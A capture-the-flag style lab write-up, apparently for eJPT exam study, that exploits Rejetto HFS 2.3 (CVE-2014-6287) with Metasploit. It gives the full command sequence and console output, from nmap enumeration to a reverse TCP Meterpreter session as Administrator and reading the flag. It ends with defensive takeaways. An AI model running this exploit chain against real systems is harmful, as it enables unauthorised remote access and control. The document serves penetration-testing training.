
Windows: HTTP File Server

Rejetto HFS 2.3 remote code execution via Metasploit

Target	10.2.23.164 (WIN-OMCNBKR66MN)
Attack Type	Remote Code Execution / Unauthenticated RCE
Platform	INE Security Labs
Prepared	May 2026
Context	eJPT Exam Preparation

1 Goal and Context

The objective was to gain a Meterpreter shell on a Windows Server target running Rejetto HttpFileServer 2.3, then retrieve a flag from the filesystem. The target was reachable at `demo.ine.local` (10.2.23.164) on the INE lab network, pre-configured with an intentionally vulnerable HFS installation.

Rejetto HFS 2.3 is known to be exploitable via a server-side template injection flaw that allows unauthenticated remote command execution. The lab exercised the full attack cycle from host discovery through post-exploitation flag retrieval, using only Metasploit Framework tools to keep the workflow representative of eJPT exam conditions.

2 Attack Chain Overview

Attack Chain Overview

1. **Host Confirmation:** `ping -c 2 demo.ine.local` resolved target IP 10.2.23.164, TTL 125 confirming Windows host.
2. **Framework Setup:** PostgreSQL started, Metasploit launched with `-q`, workspace `demo_ine_local` created and database connection verified.
3. **Service Enumeration:** `db_nmap -sV -O` identified port 80 running HttpFileServer httpd 2.3 and confirmed Windows Server 2008 R2 – 2012 SMB fingerprint on port 445.
4. **Module Selection:** `search hfs` returned `exploit/windows/http/rejetto_hfs_exec` (index 3, rank: excellent, CVE-2014-6287).
5. **Exploitation:** `exploit` delivered a reverse TCP Meterpreter payload via an HTTP template injection request; session opened to 10.2.23.164:49399.
6. **Post-Exploitation:** `sysinfo` and `getuid` confirmed Windows Server 2012 R2 and user context `WIN-OMCNBKR66MN\Administrator`.
7. **Flag Retrieval:** `cd /` navigated to `C:\`; `dir` revealed `flag.txt`; `cat flag.txt` returned the hash.

3 Lab Setup and Environment

3.1 Target and Tool Selection

Target IP	10.2.23.164
Hostname	WIN-OMCNBKR66MN
Operating System	Windows Server 2012 R2 (Build 9600, x64)
Vulnerable Service	HttpFileServer httpd 2.3 on port 80/tcp
Additional Open Ports	135, 139, 445 (msrpc/SMB), 3389 (RDP), 49152–49156 (msrpc)
Attack Platform	Kali Linux (rootINE)
Framework	Metasploit Framework 6 (msf6)
Database	PostgreSQL 16
Module Used	exploit/windows/http/rejetto_hfs_exec
Payload	windows/meterpreter/reverse_tcp (default)
LHOST	10.10.49.2
LPORT	4444

3.2 Why This Setup Matters

Environment Rationale

Running `service postgresql start` before launching Metasploit is a prerequisite for using `db_nmap`: without a connected database, scan results are not stored and workspace-scoped queries fail. Creating a named workspace (`demo_ine_local`) isolates findings from other labs and keeps the database queryable after the session ends. On the eJPT exam, these habits prevent stale data from a previous target contaminating the current one.

4 Background: Rejetto HFS Template Injection (CVE-2014-6287)

Rejetto HttpFileServer is a lightweight single-executable web server for Windows, historically used to share files over a local network. Version 2.3 and earlier contain a server-side template injection vulnerability in the search parameter handler: HFS evaluates certain macro sequences before returning a response, and an attacker can craft a URL that injects executable macros into the server process context. Because HFS runs as the user who launched it, and administrators commonly run it without privileges separation, successful exploitation frequently yields SYSTEM-level access or at least a privileged user account.

CVE-2014-6287 has a CVSS score of 10.0 and requires no authentication. The Metasploit module automates the injection, sets up an HTTP server on the attacker machine to serve the Meterpreter stager, triggers the vulnerable macro handler, and catches the reverse connection. The entire chain from module selection to session typically takes under thirty seconds on a reachable host.

In real engagements, HFS instances appear in small business environments and developer workstations where someone needed quick file sharing and left the binary running. The 2012–2014 vintage of this vulnerability means any unpatched or isolated network segment can still expose it. Port 80 open on a Windows host during a penetration test warrants an immediate version check precisely because of vulnerabilities like this.

5 Reconnaissance and Service Enumeration

Why Ping First

Before touching the Metasploit database, I confirmed the target was alive with a simple ICMP check. A TTL of 125 arriving from a Linux attacker host (which starts at 64) makes no sense unless the target is Windows, where the default TTL is 128. Subtracting two hops gives 126, close enough to confirm the Windows stack. This single data point informed module selection before any port scan ran.

```
ping -c 2 demo.ine.local
```

```
(root@INE)-[~]
# ping -c 2 demo.ine.local
PING demo.ine.local (10.2.23.164) 56(84) bytes of data.
64 bytes from demo.ine.local (10.2.23.164): icmp_seq=1 ttl=125 time=5.48 ms
64 bytes from demo.ine.local (10.2.23.164): icmp_seq=2 ttl=125 time=2.58 ms

— demo.ine.local ping statistics —
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 2.581/4.031/5.481/1.450 ms
```

Figure 1: `ping -c 2 demo.ine.local` resolved 10.2.23.164 with TTL 125, confirming a Windows host two hops away.

```
service postgresql start && msfconsole -q
```

```
(root@INE)-[~]
# service postgresql start && msfconsole -q
Starting PostgreSQL 16 database server: main.
msf6 > █
```

Figure 2: `service postgresql start && msfconsole -q` brought up PostgreSQL 16 and opened the msf6 prompt without the startup banner.

```
msf6 > workspace -a demo_ine_local
msf6 > db_status
```

```

msf6 > workspace -a demo_ine_local
[*] Added workspace: demo_ine_local
[*] Workspace: demo_ine_local
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
msf6 >

```

Figure 3: `workspace -a demo_ine_local` created and activated the workspace; `db_status` confirmed connection type postgresql.

With the database confirmed live, I ran a version and OS detection scan via `db_nmap` so results would be stored automatically.

Scan Strategy

Using `db_nmap` instead of bare `nmap` saves results to the Metasploit database, making hosts and services queryable with `hosts` and `services` after the scan completes. The `-sV` flag requests version detection, which is what identified HFS 2.3 specifically. The `-O` flag requested OS detection; nmap returned no exact match but the SMB service string on 445 (Microsoft Windows Server 2008 R2 - 2012 microsoft-ds) narrowed the target OS range, later confirmed by `sysinfo` as Server 2012 R2.

```
msf6 > db_nmap -sV -O 10.2.23.164
```

```

msf6 > db_nmap -sV -O 10.2.23.164
[*] Nmap: Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-14 05:50 IST
[*] Nmap: Nmap scan report for demo.ine.local (10.2.23.164)
[*] Nmap: Host is up (0.0028s latency).
[*] Nmap: Not shown: 990 closed tcp ports (reset)
[*] Nmap: PORT      STATE SERVICE      VERSION
[*] Nmap: 80/tcp    open  http        HttpFileServer httpd 2.3
[*] Nmap: 135/tcp   open  msrpc       Microsoft Windows RPC
[*] Nmap: 139/tcp   open  netbios-ssn Microsoft Windows netbios-ssn
[*] Nmap: 445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
[*] Nmap: 3389/tcp  open  ssl/ms-wbt-server?
[*] Nmap: 49152/tcp open  msrpc       Microsoft Windows RPC
[*] Nmap: 49153/tcp open  msrpc       Microsoft Windows RPC
[*] Nmap: 49154/tcp open  msrpc       Microsoft Windows RPC
[*] Nmap: 49155/tcp open  msrpc       Microsoft Windows RPC
[*] Nmap: 49156/tcp open  msrpc       Microsoft Windows RPC
[*] Nmap: No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
[*] Nmap: TCP/IP fingerprint:

```

Figure 4: `db_nmap -sV -O` against 10.2.23.164: port 80/tcp open, service identified as `HttpFileServer httpd 2.3`. OS detection returned no exact match but SMB string indicated Windows Server 2008 R2–2012.

Port 80 running `HttpFileServer httpd 2.3` was the immediate finding of interest. That exact version string maps directly to CVE-2014-6287.

6 Vulnerability Discovery and Module Selection

From Version String to Module

The nmap service string `HttpFileServer httpd 2.3` is unambiguous: Rejetto HFS 2.3, the version with the unauthenticated RCE. Rather than searching by CVE number, I searched by product name to see all available modules and confirm the correct one.

```
msf6 > search hfs
```

```
msf6 > search hfs

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/http/git_client_command_exec	2014-12-18	excellent	No	Malicious Git and Mercurial HTTP Server For CVE-2014-9390
1	_ target: Automatic	.	.	.	.
2	_ target: Windows Powershell	.	.	.	.
3	exploit/windows/http/rejetto_hfs_exec	2014-09-11	excellent	Yes	Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example `info 3`, `use 3` or `use exploit/windows/http/rejetto_hfs_exec`

Figure 5: `search hfs` returned four results. Index 3, `exploit/windows/http/rejetto_hfs_exec`, matched the target: disclosure date 2014-09-11, rank excellent, check supported.

```
msf6 > use 3
msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS 10.2.23.164
```

The **excellent** rank and **Yes** in the Check column mean the module can verify vulnerability before firing, and has a high reliability expectation. RHOSTS was set to the target IP confirmed by both ping and nmap.

7 Exploitation

What the Exploit Does

The module sends an HTTP request to the HFS server containing a crafted macro sequence in the URL. HFS evaluates the macro, which calls `cmd.exe` to download and execute the Meterpreter stager from an HTTP server that Metasploit starts on the attacker machine. Once the stager runs on the target, it connects back to the configured LHOST and LPORT, completing the reverse TCP session.

```
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit
```

```
msf6 exploit(windows/http/rejeto_hfs_exec) > exploit
[*] Started reverse TCP handler on 10.10.49.2:4444
[*] Using URL: http://10.10.49.2:8080/3D0f2vN
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /3D0f2vN
[*] Sending stage (176198 bytes) to 10.2.23.164
[!] Tried to delete %TEMP%\TMhJGCoJwAWjC.vbs, unknown result
[*] Meterpreter session 1 opened (10.10.49.2:4444 -> 10.2.23.164:49399) at 2026-05-14 05:56:36 +0530
[*] Server stopped.

meterpreter > sysinfo
```

Figure 6: `exploit` started a reverse TCP handler on 10.10.49.2:4444, served the payload via `http://10.10.49.2:8080/3D0f2vN`, and opened Meterpreter session 1 (10.10.49.2:4444 -> 10.2.23.164:49399) at 05:56:36.

Cleanup Warning

The exploit log shows [!] Tried to delete %TEMP%\TMhJGCoJwAWjC.vbs, unknown result. The VBScript stager used during payload delivery was not confirmed deleted. In a real engagement this artifact would require manual cleanup or verification; leaving stager files in %TEMP% is a detection risk.

8 Post-Exploitation and Flag Retrieval

Confirming Context Before Moving

Knowing what user context a shell runs under determines what actions are available without a privilege escalation step. I ran `sysinfo` and `getuid` immediately after the session opened to capture the OS version and user account before doing anything else.

```
meterpreter > sysinfo
meterpreter > getuid
```

```
meterpreter > sysinfo
Computer      : WIN-OMCNBKR66MN
OS            : Windows Server 2012 R2 (6.3 Build 9600).
Architecture : x64
System Language : en_US
Domain        : WORKGROUP
Logged On Users : 1
Meterpreter   : x86/windows
meterpreter > getuid
Server username: WIN-OMCNBKR66MN\Administrator
meterpreter > █
```

Figure 7: `sysinfo` confirmed Computer: WIN-OMCNBKR66MN, OS: Windows Server 2012 R2 (6.3 Build 9600), Architecture: x64, Meterpreter: x86/windows. `getuid` returned WIN-OMCNBKR66MN\Administrator.

The session landed as **Administrator** without any privilege escalation step, consistent with HFS running as the logged-on administrator account. The Meterpreter payload is x86 on an x64 host, which is normal for this module's default payload; it does not affect access level.

```
meterpreter > dir
meterpreter > cd /
meterpreter > dir
```

```
meterpreter > dir
Listing: C:\hfs

Mode                Size           Type             Last modified          Name
-----
040777/rwxrwxrwx    0             dir              2026-05-14 06:07:08 +0530 %TEMP%
100777/rwxrwxrwx  760320        fil              2014-02-16 19:28:52 +0530 hfs.exe

meterpreter > cd /
meterpreter > dir
Listing: C:\

Mode                Size           Type             Last modified          Name
-----
040777/rwxrwxrwx    0             dir              2020-09-10 15:20:33 +0530 $Recycle.Bin
100666/rw-rw-rw-    1             fil              2013-06-18 17:48:29 +0530 BOOTNXT
040777/rwxrwxrwx    0             dir              2013-08-22 20:18:41 +0530 Documents and Settings
040777/rwxrwxrwx    0             dir              2013-08-22 21:22:33 +0530 PerfLogs
040555/r-xr-xr-x   4096          dir              2020-08-12 09:43:47 +0530 Program Files
040777/rwxrwxrwx   4096          dir              2020-09-05 14:35:45 +0530 Program Files (x86)
040777/rwxrwxrwx   4096          dir              2020-09-05 14:35:45 +0530 ProgramData
040777/rwxrwxrwx    0             dir              2020-09-05 09:16:57 +0530 System Volume Information
040555/r-xr-xr-x   4096          dir              2020-09-10 15:20:27 +0530 Users
040777/rwxrwxrwx  24576          dir              2020-09-14 12:19:32 +0530 Windows
100444/r--r--r--  398356        fil              2014-03-18 15:35:18 +0530 bootmgr
100666/rw-rw-rw-    32           fil              2020-09-14 12:22:18 +0530 flag.txt
040777/rwxrwxrwx    0             dir              2026-05-14 05:56:30 +0530 hfs
000000/-----    0             fif              1970-01-01 05:30:00 +0530 pagefile.sys
```

Figure 8: Initial `dir` showed the working directory was `C:\hfs` containing the HFS executable. After `cd /`, `dir` listed `C:\`; `flag.txt` (32 bytes, permissions `100666/rw-rw-rw-`) was visible at the root.

```
meterpreter > cat flag.txt
```

```
meterpreter > cat flag.txt
f74c8347798f4082daf4b4570dba094a
meterpreter > █
```

Figure 9: `cat flag.txt` at `C:\` returned the 32-character MD5 hash.

Flag

Path: `C:\flag.txt`

Value: `f74c8347798f4082daf4b4570dba094a`

9 Key Takeaways

Key Takeaways

- A precise service version string from nmap (`HttpFileServer httpd 2.3`) collapsed a large search space to a single CVE and a single Metasploit module. Version detection is not optional reconnaissance.
- The exploit landed as **Administrator** because HFS ran under an administrator account with no service hardening. In production, services should run as dedicated low-privilege accounts; the same RCE against a restricted user would have required a separate privilege escalation step.
- The Meterpreter payload was x86 on a x64 host. This is a known behaviour of

`rejetto_hfs_exec`'s default payload selection and does not prevent full system access, but it matters for post-exploitation: migrate to a native x64 process if you need x64-specific enumeration.

- The VBScript stager left an unconfirmed artifact in `%TEMP%`. On a real engagement, every dropped file is evidence; confirming cleanup is part of the post-exploitation checklist, not optional.
- OS detection via `-O` produced no exact match but the SMB version string on 445 placed the target in a Windows Server 2008 R2–2012 range. `sysinfo` resolved it precisely as Server 2012 R2. Combining nmap fingerprints with post-exploitation verification is more reliable than trusting either alone.
- The flag file sat at `C:\` with world-readable permissions (`rw-rw-rw-`). In a real environment, sensitive files are rarely this exposed at the filesystem root; the real equivalent is credential material in `%APPDATA%`, registry hives, or service configuration files.
- CVE-2014-6287 is over ten years old. Finding it on a live target demonstrates that patch management failures persist far beyond a vulnerability's disclosure date, particularly on isolated or single-purpose hosts.